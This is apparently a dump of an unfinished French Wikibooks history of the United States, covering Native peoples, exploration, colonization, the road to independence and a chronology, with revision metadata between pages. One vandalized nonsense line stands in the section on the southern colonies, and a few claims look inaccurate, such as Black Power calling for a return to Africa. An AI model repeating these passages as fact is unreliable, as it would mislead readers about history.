Même si elles ont été décimées par les maladies introduites par les Européens en Amérique, la plupart ont survécu et réclament aujourd'hui la reconnaissance de leur culture. ==Les tribus du Sud-Est des États-Unis== Les peuples les plus connus sont les Cherokees et les Séminoles. Des plaines au climat subtropical forment leur cadre de vie. Ils cultivaient notamment le maïs, la pomme de terre et le tabac, trois plantes originaires du continent américain et introduites en Europe à l'époque moderne. ==Les tribus du Nord-Est des États-Unis== Elles vivent dans un milieu naturel forestier et froid en hiver. Les tribus les plus importantes sont les Algonquins et les Iroquois. Ces derniers étaient regroupés dans la confédération des cinq nations. La confédération des Creeks réunissait quelques 50 cités qui disposaient chacune d’un chef et d’un conseil. Ils vivaient essentiellement de la chasse et de l'agriculture (haricot, maïs, citrouille). Leurs villages étaient protégés par une palissade en bois. ==Les Amérindiens des Grandes Plaines== [[Image:Catlinpaint.jpg|thumb|250px|Tipis indiens dans les Grandes Plaines]] Les Grandes Plaines du centre des États-Unis étaient le terrain de chasse de nombreuses tribus telles que les Sioux, les Cheyennes, les Blackfoots et les Crows. Leur subsistance reposait sur les bisons et des cervidés qui leur permettaient de manger, de s'habiller (mocassins en cuir) et de se loger (tipis). ==Les tribus des côtes du Pacifique== Ces peuples tiraient leurs ressources de la mer et des fleuves : ils pêchaient le saumon et chassaient le phoque et la baleine. Ils dressaient des totems devant leur maison de bois. L'artisanat leur fournissait les objets de la vie quotidienne (paniers, tissus). Les Tinglit, Nootka, Kwakiutl et Chinook sont les principaux peuples. Dans certaines sociétés, un roi héréditaire dirigeait la communauté. ==Les tribus du Sud-Ouest== Elles étaient confrontées à l'aridité et reprirent les techniques d'irrigation de leurs prédécesseurs (Anasazi, Hohokam et Mogollons). Les Pueblos, Navajos et Apaches vivaient dans les steppes de ces régions désertiques ou semi-désertiques. Les Pueblos et les Navajos étaient sédentaires et résidaient dans des villages en adobe appelés "pueblos" par les Espagnols. Ils pratiquaient l'agriculture et l'élevage des dindes. Quant aux Apaches, ils chassaient et étaient nomades. ==Les Inuits et les Yuits== [[Image:Eskimo Family NGM-v31-p564.jpg|thumb|250px|left|Une famille eskimo, photographiée en 1917]] Ils vivent dans les régions du Grand Nord (Alaska). Ils sont arrivés dans ces régions bien après les Amérindiens et appartiennent à un même ensemble ethnique qui va de la Sibérie au Labrador. =La culture amérindienne= Est-il possible, malgré la grande diversité, de mettre en évidence les principaux traits communs des peuples amérindiens vivant aux États-Unis ? ==Les croyances== ==L'artisanat== Modèle:Histoire des États-Unis d'Amérique 7073 33289 2006-02-18T16:23:45Z Urban 886 + biographies <table width="100%" cellspacing="0" cellpadding="4" border="0" style="border:solid #BBBBBB 1px; background:#EEEEEE"> <tr> </div></td> <td style="background:#CCYEEE;vertical-align:top"> :retour au [[Histoire des États-Unis d'Amérique:sommaire|'''sommaire''']] :chapitres | [[Histoire des États-Unis d'Amérique:Introduction|Introduction]] | [[Histoire des États-Unis d'Amérique:Chapitre 1|1]] | [[Histoire des États-Unis d'Amérique:Chapitre 2|2]] | [[Histoire des États-Unis d'Amérique:Chapitre 3|3]] | [[Histoire des États-Unis d'Amérique:Chapitre 4|4]] | [[Histoire des États-Unis d'Amérique:Chapitre 5|5]] | [[Histoire des États-Unis d'Amérique:Chapitre 6|6]] | [[Histoire des États-Unis d'Amérique:Chapitre 7|7]] :annexes | [[Histoire des États-Unis d'Amérique:Glossaire|Glossaire]] | [[Histoire des États-Unis d'Amérique:Bibliographie|Bibliographie]] | [[Histoire des États-Unis d'Amérique:Liens|Liens]] | [[Histoire des États-Unis d'Amérique:auteurs|Auteurs]] | [[Histoire des États-Unis d'Amérique:Chronologie|Chronologie]] | [[Histoire des États-Unis d'Amérique:Cartes|Cartes]] | [[Histoire des États-Unis d'Amérique:Biographies|Biographies]] :catégorie | [[Histoire]] > [[Histoire des États-Unis d'Amérique]] </td> </tr> </table> Histoire des États-Unis d'Amérique:Glossaire 7074 33387 2006-02-19T09:06:51Z Urban 886 /* P */ {{EnTravaux}} =A= *'''Anasazi''' : peuple amérindien disparu avant l'arrivée des Européens en Amérique. Ils occupèrent le sud-ouest des États-Unis actuels. =B= =C= =D= =E= =F= *'''Frontier''' : la frontière en anglais. Espace mouvant de colonisation et d'exploitation par les Blancs. =G= =H= =I= =J= =K= =L= =M= *'''Mound Builders''' : culture amérindienne disparue avant l'arrivée des Européens en Amérique ; elle construisait de grands tertres en terre, souvent de forme pyramidale. =N= =O= =P= *'''Parlement anglais :''' deux assemblées (les Lords et les Communes) composent le Parlement anglais. Il se réunit à Londres et a notamment un droit de regard sur les impôts décidés par le roi. Au XVIIIe siècle, il constitue un contre-poids au pouvoir royal. =Q= * '''Quaker''' =R= =S= =T= =U= =V= =W= =X= =Y= =Z= Histoire des États-Unis d'Amérique:Bibliographie 7075 33218 2006-02-17T17:10:36Z Urban 886 ==Pour la jeunesse== *Jean de Léry, Caroline Trotot, ''Récits de voyage, tome 1 : Le Nouveau Monde'', Flammarion, 1999, ISBN 2080720775 *Ute Fuhr, Raoul Sautai, ''Les Indiens'', Gallimard, 1994, ISBN 2070585611 *Theodora Kroeber, ''Ishi : Testament du dernier Indien sauvage de l'Amérique du Nord'', Pocket, 2002 *Gilbert Legay, ''Dictionnaire des Indiens d'Amérique du Nord'', Casterman, 2005, ISBN 2203131357 ==Bibliographie== *Jacques Portes, ''Les Etats-Unis de l'indépendance à la Première Guerre mondiale'', Armand Colin, 1991, ASIN 2200330782 *Jacques BINOCHE, ''Histoire des États-Unis'', Paris, Ellipses, 2003, ISBN 2-7298-1451-5 *Daniel BOORSTIN, ''Histoire des Américains'', Paris, Laffont, 2001, ISBN 2-2210-6798-3 *André KASPI, ''Les Américains'', tome 1 : 1607-1945, Paris, Le Seuil, 1996, ISBN 202009360X *Pierre LAGAYETTE, ''Les grandes dates de l'histoire américaine'', Paris, Hachette, 2001, ISBN 2011454891 *Jean-Pierre MARTIN, Daniel ROYOT, ''Histoire et Civilisation des États-Unis'' *René REMOND, ''Histoire des États-Unis'', Paris, Presses Universitaires de France, 2003, Collection : Que sais-je ?, ISBN 2130533582 *Bernard VINCENT, ''Histoire des États-Unis'', Paris, Flammarion, 1998, ISBN 2080813765 *Howard ZINN, ''Une histoire populaire des États-Unis, De 1492 à nos jours'', Paris, Agone, 2003, ISBN 2-9108-4679-2 *William Bradford, Lauric Henneton (Sous la direction de), ''Histoire de la Colonie de Plymouth : Chroniques du Nouveau Monde, 1620-1647'', Labor & Fides, 2004, ISBN 2830911156 *Gilles HAVARD et Cécile VIDAL, ''Histoire de l'Amérique française aux XVIe-XVIIe siècles'', Paris, Flammarion, 2003, ISBN 2082100456 Histoire des États-Unis d'Amérique:Chapitre 2 7076 33623 2006-02-20T10:58:24Z Urban 886 révocation des modifications de 202.90.72.41 / retour à la dernière version de Urban {{EnTravaux}}{{Histoire des États-Unis d'Amérique}} Chapitre 2 : L'exploration des États-Unis. =Chronologie= *1512 : l'Espagnol Juan Ponce de León part de Porto-Rico pour explorer les côtes de Floride du cap Canaveral jusqu’à peut-être Pensacola. *1524 : Giovanni da Verrazano missionné par le roi de France François Ier, arrive au Cap Fear (actuelle Caroline du Nord). Il remonte la côte atlantique vers le nord et découvre le site de la future New York. *1528–1534 : Álvar Núñez Cabeza de Vaca passe six ans au Texas. *1534-1535 : Jacques Cartier explore l'embouchure du Saint-Laurent. *1539 : exploration de l'actuel Arizona par Marcos de Niza. *1540 : Hernando Ruiz de Alarcón, remonte le cours du Colorado depuis le Golfe de Californie. *1542 : Le Portugais João Rodrigues Cabrillo explore la côte californienne. *1540-1542 : L'Espagnol Francisco Vásquez de Coronado explore le sud-Ouest et le Kansas à la recherche des cités de l'or. *1562 : le Français Jean Ribault explore le Sud-Est des États-Unis. *1604 : le huguenot Pierre Du Gua de Monts implante un poste de traite des fourrures sur l'îlot Sainte-Croix, dans la baie de Fundy *1609 : Henry Hudson remonte le fleuve auquel il donne son nom. *1673 : les Français Louis Jolliet et Jacques Marquette commencent l'exploration du fleuve Mississippi. *1679-1680 : Daniel Greysolon, Sieur du Lhut, soldat français explore la région occidentale du Lac Supérieur. *1724 : Le Français Étienne de Veniard, sieur de Bourgmont, explore l'Arkansas River. *1741 : Bering et Chirikov explorent l'Alaska. *1774-1775 : Juan Bautista de Anza San Gabriel visite des villages Yuma en Californie et explore Monterey et la Baie de San Francisco. *1804-1806 : l'expédition Lewis et Clark traverse les États-Unis jusqu'à l'océan Pacifique, en remontant le Missouri. =Les objectifs et les principales étapes= Après la découverte de l'Amérique par Christophe Colomb (1492), les Européens se lancent dans de grands voyages vers l'Amérique afin d'en reconnaître les richesses. L'autre but de ces expéditions était de trouver un passage maritime vers l'Extrême-Orient. La Chine et l'Inde attiraient les marchands occidentaux qui en rapportaient des épices et d'autres produits de luxe. Plusieurs explorateurs furent ainsi envoyés par les souverains pour trouver le fameux "passage du nord-ouest" : Jacques Cartier et Giovanni da Verrazano pour le compte de François Ier, Henry Hudson pour celui de Jacques Ier. Lorsque les Européens se rendirent compte que le passage vers l'Océan Pacifique n'existait pas en Amérique du Nord, ils entreprirent de trouver d'autres intérêts au Nouveau Monde : exploitation du bois, traite des fourrures, culture du tabac puis du coton firent bientôt l'objet d'un intense trafic maritime entre l'Europe et l'Amérique. L'appropriation du Nouveau Monde se doubla d'un intérêt religieux : les missionnaires devaient évangéliser les Amérindiens. À l'époque des Lumières (XVIIIe siècle), les explorations sont lancées pour répondre à l'idéal de connaissances. =Exploration des côtes de l'Océan Atlantique= Les terres qui bordent l'Océan Atlantique sont les plus proches de l'Europe. Elles sont sans doute fréquentées par les marins européens dès la fin du XVe siècle. =Exploration du golfe du Mexique et du Sud= ==L'Expédition de Francisco Vásquez de Coronado (1540-1542)== Le conquistador espagnol Francisco Vásquez de Coronado dirigea l'expédition chargée de découvrir le sud-est des actuels États-Unis. Au Nouveau-Mexique, il fait la connaissance de Marcos de Niza qui lui évoque les richesses de la légendaire cité d'or de Cibola. Intrigué par ce témoignage, il se lance à la recherche de cette ville, accompagné d'Indiens et d'esclaves noirs. Il longe d'abord la côte de la mer de Cortés puis il progresse vers le nord et le désert de Sonora. Il traverse la Gila et arrive à Cibola, à l'ouest de l'actuel état du Nouveau-Mexique. Mais les attentes de Coronado sont déçues car Cibola n'est qu'un modeste village Zuni. Il poursuit malgré tout son périple dans la région. Il envoie Melchior Diaz reconnaître le fleuve Colorado. Mais c'est Garcia Lopez de Cardenas qui découvre le Grand Canyon. Hernando de Alvarado explore les environs du fleuve Río Grande, qui sépare aujourd'hui le Mexique et les États-Unis. Coronado poursuit sa quête des cités d'or et parvient dans l'actuel Kansas chez les Indiens Quivira. Il revient au Mexique en 1542 à la tête d'un corps expéditionnaire décimé. =Exploration du Mississippi= Le 17 mai 1673, le Canadien Louis Jolliet et le Français Jacques Marquette descendent le fleuve Mississippi depuis le Canada. Jacques Marquette était un prêtre jésuite qui avait appris plusieurs langues amérindiens. Le but de l'expédition était de trouver un passage vers l'Océan Pacifique. Il fut soigneusement préparé. L’expédition traverse le lac Michigan, remonte la rivière aux Renards et entre dans un territoire inconnu des Européens. =Exploration du littoral Pacifique= =Exploration de l'Alaska= =Exploration des Montagnes Rocheuses= Les Montagnes Rocheuses furent explorées pour la première fois par Lewis et Clark, deux militaires américains envoyés par le président Thomas Jefferson. L'expédition Lewis et Clark (1804-1806) avait pour objectif de reconnaître la Louisiane française vendue en 1803 par Napoléon Bonaparte. La région avait été auparavant le terrain de parcours de quelques trappeurs, mais le voyage jusqu'à l'Océan Pacifique n'avait jamais été tenté. La mission assignée à Lewis par Jefferson consistait à trouver des fleuves navigables en vue de développer le commerce. Alexander MacKenzie avait déjà traversé les montagnes Rocheuses canadiennes en 1793. Mais les Rocheuses américaines étaient très peu connues. En décembre 1803, les 45 hommes qui composent l'expédition sont rassemblés à Saint-Louis (Missouri). On charge quelques présents pour les Amérindiens (pacotille, tabac, couteaux, étoffes, alcool ...) ainsi que des armes. Histoire des États-Unis d'Amérique:Chapitre 3 7077 40039 2006-04-12T12:47:22Z 213.103.68.167 /* Présentation des 13 colonies */ {{EnTravaux}}{{Histoire des États-Unis d'Amérique}} Chapitre 3 : L'occupation et la colonisation des États-Unis. =Les treize colonies britanniques= ==Le contexte== Les premiers établissements anglais de la côte orientale des États-Unis actuels apparaissent au début du XVIIe siècle. L'épisode le plus célèbre de la colonisation est celui des Pères pélerins (''Pilgrim Fathers'' en anglais). Le Nouveau Monde est alors perçu comme un espace de liberté religieuse et un territoire à évangéliser. Les causes des migrations européennes sont diverses : les persécutions religieuses en Angleterre poussent les puritains et les catholiques à s'enfuir. Les rois de la dynastie Stuart voulaient en effet imposer l'anglicanisme à tous leurs sujets. Plusieurs milliers de protestants français (les "huguenots"), victimes de la politique intolérante de Louis XIV, partent en Amérique du Nord. Après la révocation de l'édit de Nantes en 1685, ils s'installent sur la côte est : plusieurs noms de villes (New Rochelle (New York) ou Port Royal (Caroline du Sud)) rappellent cette présence française. Le contexte européen permet également d'expliquer la colonisation de l'Amérique : les grandes puissances de l'époque se disputent le partage du monde. À la fin du XVIe siècle, les Anglais veulent menacer les intérêts espagnols. Au XVIIIe siècle, les rivalités franco-britanniques ont des répercussions en Amérique du Nord. ==Les trois premiers établissements anglais== ===Roanoke Island=== En 1584, une expédition financées et organisée par Sir Walter Raleigh doit trouver un site en Caroline du Nord, afin de harceler les établissements espagnols de Floride. Les deux capitaines du premier voyage, Phillip Amadas et Arthur Barlowe, choisissent de s'établit à Roanoke Island, qui est considéré comme le premier établissement anglais en Amérique du Nord. Si des vétérans anglais furent par la suite envoyés afin de consolider la colonie, elle finit par disparaître dans des conditions obscures. ===Jamestown=== [[Image:Pocahontas001.jpg|thumb|right|200px|Pocahontas]] L'émigration européenne vers le Nouveau Monde commence vraiment dans les années 1600 : alors que les Français tentent de s'installer au Canada, les Anglais s'implantent un peu plus au sud, dans une région qu'ils baptisent "Nouvelle-Angleterre". La première colonie permanente des possessions britanniques est celle de Jamestown (Virginie), fondée en 1607. Elle fut ainsi nommée en l'honneur du roi d'Angleterre Jacques (''James'' en anglais) Ier. Une centaine de personnes arrivèrent sur trois navires et se confrontèrent rapidement aux Amérindiens. John Smith fut l'un des acteurs de la colonie de Jamestown. L'histoire raconte qu'il fut sauvé par une jeune fille amérindienne, Pocahontas, qui était la fille du chef Powhatan. Par la suite, elle se rendit en Angleterre et fut présentée à la cour royale. ===Les Pères pélerins et la colonie de New Plymouth=== [[Image:MayflowerHarbor.jpg|thumb|left|200px|Le bateau Mayflower]] Les Pères pélerins (''Pilgrim Fathers'') débarquent au Cap Cod après 65 jours de navigation, en novembre 1620. Ils installent leur communauté sans l'aval du roi d'Angleterre et se dote d'une charte connue sous le nom de ''Mayflower Compact''. Ce document proclame leur volonté de vivre selon leurs propres règles, en conformité avec les commandements de la Bible et en rupture avec l'Église d'Angleterre. Ils fondent la colonie de New Plymouth dans l'actuel état du Massachusetts. Ils signent un traité de paix avec les Amérindiens le 22 mars 1621. Leur autonomie s'achève en 1691. ===La vie des premiers colons anglais=== Après la traversée de l'Océan Atlantique, qui durait plusieurs semaines, les colons devaient relever plusieurs défis. Leurs conditions de vie sont difficiles : déracinés, ils doivent faire face à un nouvel environnement souvent hostile. Une grande partie des colons de New Plymouth meurt de faim et de maladies au cours de leur premier hiver en Amérique. Les cyclones et les tempêtes tropicales détruisent les campements sur la façade méridionale de l'Atlantique. L'insalubrité de la région de Jamestown est un obstacle majeur. Les villages et les forts ne sont pas à l'abri d'offensives ennemies. Les attaques des Amérindiens représentent une réélle menace sur les groupes de colons. Toutes ces contraintes forgent progressivement l'esprit pionnier des Américains. ==Présentation des 13 colonies== À partir de 1650, les Anglais prennent véritablement possession de la côte est. À la fin du XVIIIe siècle, les Treize Colonies compte près de 2 millions d'habitants. Mais les colons américains n'ont pas tous les mêmes intérêts et bientôt se pose la question de la fidélité à la métropole anglaise. À cause de l'étirement des colonies en latitude, sur plusieurs centaines de kilomètres, il est nécessaire de découper cet espace en trois régions aux caractéristiques géographiques et sociales différentes : la Nouvelle-Angleterre, le Centre et le Sud. ===La Nouvelle-Angleterre=== La Nouvelle-Angleterre regroupe quatre territoires : les colonies du Connecticut, du Massachusetts, de Rhode Island ainsi que la province du New Hampshire. Couvertes de forêts, elles connaissent des hivers rigoureux et sont le domaine des Amérindiens Iroquois et Algonquins. *Connecticut *Massachusetts *Rhode Island *Province du New Hampshire : en 1623 deux groupes de colons anglais, envoyés par le capitaine John Mason, s'établissent dans le New Hampshire, sur l'estuaire de la Piscataqua River. En 1638, John Wheelwright, exilé de Boston fonde un village appelé Exeter. En 1639, les colons se dotent d'une charte ("''Exeter Compact''") tout comme l'avaient fait avant eux les pères pélerins de New Plymouth. Le New Hampshire reste sous l'influence de la colonie du Massachusetts avant de devenir une province royale en 1679-1698. En 1719, des colons d'origines écossaise et irlandaise débarquent dans la région. En 1741, le New Hampshire redevient indépendante et administrée par le gouverneur Benning Wentworth. ===Les colonies du Centre=== La colonie du Delaware et les provinces du New Jersey, de New York et de Pennsylvanie forment les territoires du centre. *Delaware *New Jersey : la colonie fut d'abord fondée par des Hollandais en 1623 (Nouveaux-Pays-Bas). En 1664, elle passe sous le contrôle des Anglais Lord Berkeley et Sir George Carteret. Ce dernier choisit le nom de New Jersey car il avait été lui-même gouverneur de l'île de Jersey en Europe. Une charte royale est accordée en 1702. *New York : après une période d'exploration, les premiers Hollandais s'installent en 1624 sur l'île des gouverneurs (''Governors Island'') puis colonisent la région. En 1626, un groupe conduit par Peter Minuit arrive sur l'île de Manhattan et l'achète aux Amérindiens. La colonie et le fort qu'ils occupent sont baptisés Nouvelle-Amsterdam. C'est le premier nom de la ville de New York. En 1664, Peter Stuyvesant se rend aux Anglais qui la dédient au frère du roi, le duc d'York. En 1674, les Britanniques réussissent à chasser les Hollandais et obtiennent le contrôle de la région qui devient la colonie royale de New York en 1685. *Pennsylvanie ===Le régions du Sud=== [[Image:Governor'sHouse Williamsburg Virginia USA.jpg|thumb|250px|Palais du gouverneur de Virginie, Williamsburg, début du XVIIIe siècle]] On regroupe cinq entités pour le sud : les provinces de Géorgie, du Maryland, de Caroline du Nord, de Caroline du Sud et la colonie de Virginie. wasa wanabi wanagan de colon de ameriqueêÇÇÇÇÙÙ€€€€€ =La Louisiane française= [[Image:LouisianaPurchase.png|thumb|350px|En vert, le territoire de la Louisiane française, en 1803]] La Louisiane française était un territoire immense, environ 1/3 de l'Amérique du Nord, qui faisait partie de l'empire colonial français aux XVII{{e}} et XVIII{{e}} siècles. Elle s'étendait autour de la vallée du fleuve Mississippi et occupait une région comprise entre les Grands Lacs au nord et le Golfe du Mexique au sud. La France de l'Ancien Régime ne parvint pas à en faire une colonie de peuplement et ne put s'imposer face aux treize colonies britanniques. En 1803, la Louisiane fut finalement cédée aux États-Unis qui purent s'agrandir considérablement vers l'Ouest. ==Exploration== À partir des années 1660, la France s'engage dans une politique d'expansion de ses possessions américaines, depuis le Canada. Les objectifs sont alors de trouver un passage vers la Chine, d'exploiter les richesses naturelles des nouveaux territoires (fourrures, minerais) et de convertir les Amérindiens à la religion catholique. Les coureurs des bois se lancent dans l'exploration de l'ouest, les "Pays d'En Haut" selon l'expression de l'époque. En 1659, Pierre-Esprit Radisson et Médard Chouart des Groseillers atteignent l'extrémité occidentale du Lac Supérieur. Les prêtres français fondent des missions comme Sault Sainte-Marie en 1668. Le 17 mai 1673, les Français Louis Jolliet et Jacques Marquette ont commencé l'exploration du fleuve Mississippi, qu'ils connaissaient sous les noms indiens ''Ne Tongo'' (la grande rivière) ou encore ''Michissipi''. Ils atteignent l'embouchure de l'Arkansas puis remontent le fleuve après avoir appris qu'il coulait vers le Golfe du Mexique et non vers la Mer de Californie (Océan Pacifique). En 1675, Marquette instaure une mission dans le village des Kaskaskias, sur la rivière des Illinois. Elle devient permanente en 1690. En 1682, le Rouennais Cavelier de la Salle et l'italien Henri de Tonti descendent à nouveau le Mississippi jusqu'à son delta. Ils partent du Fort Crèvecoeur sur la rivière des Illinois, accompagnés de 23 Français et 18 Amérindiens1. Ils construisent Fort Prud'homme qui deviendra plus tard la ville de Memphis. Ils revendiquent la souveraineté française sur l'ensemble de la vallée du Mississippi, et l'appellent "Louisiane" en l'honneur du roi Louis XIV. Ils scellent des alliances avec les Indiens Quapaws. En avril 1682, ils arrivent à l'embouchure du Mississippi et dressent une croix et une colonne portant les armes du roi de France. L'expédition repart par le même chemin vers le Canada et La Salle retourne à Versailles. Là, il convainc le ministre de la marine, Seignelay, de lui accorder le commandement de la région qu'il venait de reconnaître. La Salle fit croire à la proximité de la Nouvelle-Espagne en dessinant une carte sur laquelle le Mississippi paraissait beaucoup plus à l'ouest que son cours réel. Décidé à revenir dans le Nouveau Monde, il organise une expédition maritime qui tourne finalement au désastre : l'explorateur ne parvient pas à retrouver le delta du Mississippi par le Golfe du Mexique et se fait assassiner par l'un de ses hommes, en 1687. =Les territoires espagnols= Histoire des États-Unis d'Amérique:Introduction 7078 33229 2006-02-17T18:15:17Z Urban 886 {{EnTravaux}} {{Histoire des États-Unis d'Amérique}} Histoire des États-Unis d'Amérique:Chapitre 4 7079 33486 2006-02-19T17:21:25Z Urban 886 /* Nouvelles taxes et manque de représentation politique */ {{EnTravaux}} {{Histoire des États-Unis d'Amérique}} '''Chapitre 4 : La guerre d'indépendance.''' La guerre d'indépendance américaine (1775-1783) constitue une période décisive dans l'histoire des États-Unis. En s'opposant à la métropole anglaise, les insurgents décident de former une nouvelle nation fondée sur le principe de liberté. La guerre d'indépendance peut d'ailleurs être considérée comme une révolution : les Américains appellent d'ailleurs cette période ''The American Revolutionary War'' ("la guerre révolutionnaire d'Amérique"). Certains historiens estiment qu'il s'agit également d'une guerre civile, car certains colons ne voulaient pas rompre leurs liens avec l'Angleterre et ont affronté les indépendantistes. Le conflit prit une dimension internationale avec l'entrée en guerre de la France, de l'Espagne et des Pays-Bas aux côtés des Américains. Les Amérindiens ont participé aux hostilités dans les deux camps. Les premières opérations militaires furent favorables aux Anglais. Mais après 1777 et grâce aux renforts français, les Américains ont retourné la situation à leur avantage. La bataille décisive fut celle de Yorktown en 1781. La paix est signée en 1783 à Paris. =Causes= == Nouvelles taxes et manque de représentation politique== À partir de 1764, le [http://fr.wikibooks.org/wiki/Histoire_des_%C3%89tats-Unis_d%27Am%C3%A9rique:Glossaire#P Parlement anglais], influencé par le ministre des finances George Grenville, décide d'imposer une série de taxes aux colons. Le ''Sugar Act'' ("loi sur le sucre") est la première de ces lois qui vont provoquer la colère des marchands américains. En 1765, le Parlement vote le ''Quartering Act'' ("loi sur le cantonnement") qui prévoit la réquisition des logements et le gîte pour les soldats anglais stationnés en Amérique du Nord. Puis Londres imposa le ''Stamp Act'' ("loi sur le timbre), la plus impopulaire de tous dans les colonies américaines. Elle requiert l'achat d'un timbre fiscal qui devait figurer sur les journaux, les livres, les documents officiels, ... Cette politique devait financer l'entretien des troupes en Amérique du Nord. En réaction, les colons formèrent un congrès contre le loi sur le timbre (''Stamp Act Congress'') qui se réunit en octobre 1765. Cette assemblée envoya une pétition au roi et au Parlement anglais afin de réclamer la suppression de la loi. Il semblait injuste aux Américains de payer de nouvelles taxes à l'Angleterre, alors qu'ils n'étaient pas représentés au Parlement. Ils revendiquent ainsi leur participation à la vie politique anglaise et se rangent derrière le solgan "Pas de taxe sans représentation" (''No taxation without representation''). Pour faire pression sur la métropole, les marchands organisent le boycott des produits anglais. Des émeutes éclatent à New York à proximité des bureaux de vente des timbres fiscaux. À Boston (Massachusetts), les fils de la liberté (''Sons of Liberty'') dirigés par Samuel Adams, détruisent la maison du gouverneur Thomas Hutchinson. Le Parlement anglais finit par reculer en abrogeant le ''Stamp Act'' mais vote le ''Declaratory Act'' qui réaffirme le droit de l'Angleterre à lever des taxes en Amérique, sans que les colons soient représentés à Londres. En 1767 sont votées les ''Townshend Acts'' qui appliquent des taxes sur les marchandises importées par les 13 colonies. Elles portent sur le thé, le verre, la peinture, le plomb et même le papier. Les Américains menacent à nouveau de boycotter les produits anglais : le Parlement annule les taxes sauf sur le thé et refuse toujours de reconnaître une représentation politique des Américains. En 1773, le Parlement passe le ''Tea Act'' ("loi sur le thé") qui exempte la Compagnie des Indes Orientales de toute taxe sur le thé provenant d'Inde. La compagnie de commerce anglaise dispose donc d'un privilège qui semble insupportable aux colons. Un groupe déguisé en Indiens s'en prend alors à la cargaison d'un navire anglais en décembre 1773 : la partie de thé de Boston (''Boston Tea Party'') est l'un des épisodes les plus célèbres de la rébellion américaine. [[Image:Boston tea party.jpg|thumb|left|350px|''La partie de thé de Boston (1773)'']] La réaction du Parlement ne se fait pas attendre : il passe les ''Coercive Acts'' ("Lois coercitives")que les colons rebaptisent "lois intolérables" (''Intolerable Acts''). Le pouvoir de la législature du Massachusetts est réduit et le port de Boston est autoritairement fermé. Les lois sur le cantonnement sont élargies aux habitations privées. Les officiers anglais sont jugés par un jury britannique et non colonial. =Principales batailles= =Bilan de la guerre= Histoire des États-Unis d'Amérique:Chapitre 5 7080 33231 2006-02-17T18:16:30Z Urban 886 {{EnTravaux}} {{Histoire des États-Unis d'Amérique}} Histoire des États-Unis d'Amérique:Chapitre 6 7081 33232 2006-02-17T18:16:50Z Urban 886 {{EnTravaux}} {{Histoire des États-Unis d'Amérique}} Histoire des États-Unis d'Amérique:Chapitre 7 7082 33233 2006-02-17T18:17:29Z Urban 886 {{EnTravaux}} {{Histoire des États-Unis d'Amérique}} Histoire des États-Unis d'Amérique:Chronologie 7087 33263 2006-02-18T10:01:01Z Urban 886 {{EnTravaux}}{{Histoire des États-Unis d'Amérique}} =Chronologie générale= *1524 : découverte de la baie de New York par Giovanni da Verrazano. *1585 : fondation d'une colonie anglaise sur l'île de Roanoke (Virginie). *1607 : fondation de Jamestown (Virginie) par le capitaine John Smith. *1620 : le Mayflower débarque à Cape Cod avec une centaine de pélerins. Fondation de New Plymouth. *1636 : création du collège Harvard, près de Boston. *1692 : chasse aux sorcières à Salem (Massachusetts). *1718 : fondation de la Nouvelle-Orléans par Pierre Le Moyne d'Iberville. *1775 : début de la guerre d'indépendance des États-Unis d'Amérique *1776, 4 juillet : déclaration d'indépendance. *1783 : fin de la guerre d'indépendance. Le Royaume-Uni reconnaît l'existence des États-Unis d'Amérique. *1787 : constitution des États-Unis d'Amérique *1789 : George Washington élu premier président des Etats-Unis. *1803 : Vente de la Louisiane française aux États-Unis. La superficie du territoire américain est doublée. *1849 : ruée vers l'or en Californie. *1861 - 1865 : guerre de Sécession. En 1865, Abraham Lincoln proclame l'abolition de l'esclavage. *1867 : les Etats-Unis achètent l'Alaska à la Russie. *1871 : création du Parc National du Yellowstone. *1886 : La statue de la Liberté, de Frédéric Bartholdi, est offerte par la France aux Etats-Unis. *1906 : séisme de San Francisco. *1924 : l'Indian Citizenship Act, citoyenneté américaine des Indiens. *1929 : Jeudi Noir à la bourse de New York. Début de la Grande Dépression. *1932 : New Deal instauré par Franklin Roosevelt pour remettre sur pied l'économie américaine. *1941 : attaque japonaise à Pearl Harbor (Hawaii) le 7 décembre. Déclaration de guerre des Etats-Unis au Japon le 8 décembre. Déclaration de guerre de l'Allemagne et de l'Italie aux Etats-unis le 11 décembre. *1944 : débarquement allié en Normandie le 6 juin. *1945 : bombes atomiques sur Hiroshima et Nagasaki les 6 et 9 août. *1946 : début de la Guerre froide. Winston Churchill parle du « Rideau de fer ». *1949 : naissance de l'OTAN à New York. *1950 : début du Maccarthysme, croisade anti-communiste par le sénateur McCarthy. *1963 : Ich bin ein Berliner, discours historique de Kennedy le 26 juin. Assassinat de John Kennedy à Dallas le 22 novembre . *1964 : début de la guerre du Vietnam. *1966 : fondation des Black Panthers à Oakland par des amis de Malcolm X Black Power, expression lancée par Stockeley Carmichael, prônant le retour des Noirs en Afrique. *1968 : assassinat de Martin Luther King le 4 avril. Le 5 juin, Bob Kennedy, frère de John, meurt lui aussi assassiné. *1969 : Premiers pas d'Armstrong sur la lune. *1973 : Cessez-le-feu au Vietnam. Insurrection indienne à Wounded Knee (Dakota). *1974 : le scandale du Watergate entraîne la démission du président Richard Nixon. *1991 : 17 janvier - 27 janvier, guerre du Golfe. *1992 : émeutes à Los Angeles (59 morts et 2 300 blessés). Élection de Bill Clinton. *1994 : Signature de l'ALENA, accord de libre-échange avec le Mexique et le Canada. *2000 : George W. Bush devient le 43ème président des États-Unis. *2001 : le 11 septembre, attentats contre le World Trade Center de New York. =Chronologies thématiques= ==Économie== ==Culture== ==Inventions== *1789 : Bourbon, Eliza Craig, Kentucky *1793 : machine à égrener le coton, Eli Whitney *1817 : épingle, Seth Hunt *1831 : moissonneuse, MacCormick *1835 : revolver à barillet, Samuel Colt *1843 : machine à écrire *1844 : télégraphe, Samuel Morse *1853 : ascenseur, Elisha Otis *1853 : jeans, Oscar Levi Strauss, Californie *1857 : Le scientifique Elisha G. Otis invente le premier ascenceur dans la ville de New York. *1857 : papier hygiénique, Joseph Cayetty *1869 : chewing-gum, William F. Semple, Ohio *1876 : téléphone *1879 : lampe à filament incandescent, Thomas Edison *1882 : fer à repasser électrique, Henry W Seely, New York *1884 : stylo, Lewis E. Waterman *1886 : ventilateur, Schuyler Wheeler *1886 : Coca-cola, John S. Pemberton, Atlanta *1888 : pellicule photographique, Eastman *1889 : publiphone, William Gray, Hartford, Connecticut *1889 : juke-box, Louis Glas, San Francisco *1890 : fermeture éclair *1891 : fermeture à glissière (fermeture éclair), dépôt du brevet par Withcomb L.Judson *1897 : cornflakes, frères Kellog *1901 : aspirateur, David E. Kenney, New Jersey *1901 : premier rasoir mécanique par la compagnie Gillette *1910 : poste de radio à galène, Dunwoody et Pickard *1911 : air conditionné, Willis Carrier *1913 : réfrigérateur, Domelre, Chicago *1920 : barre chocolatée mars, Frank Mars *1922 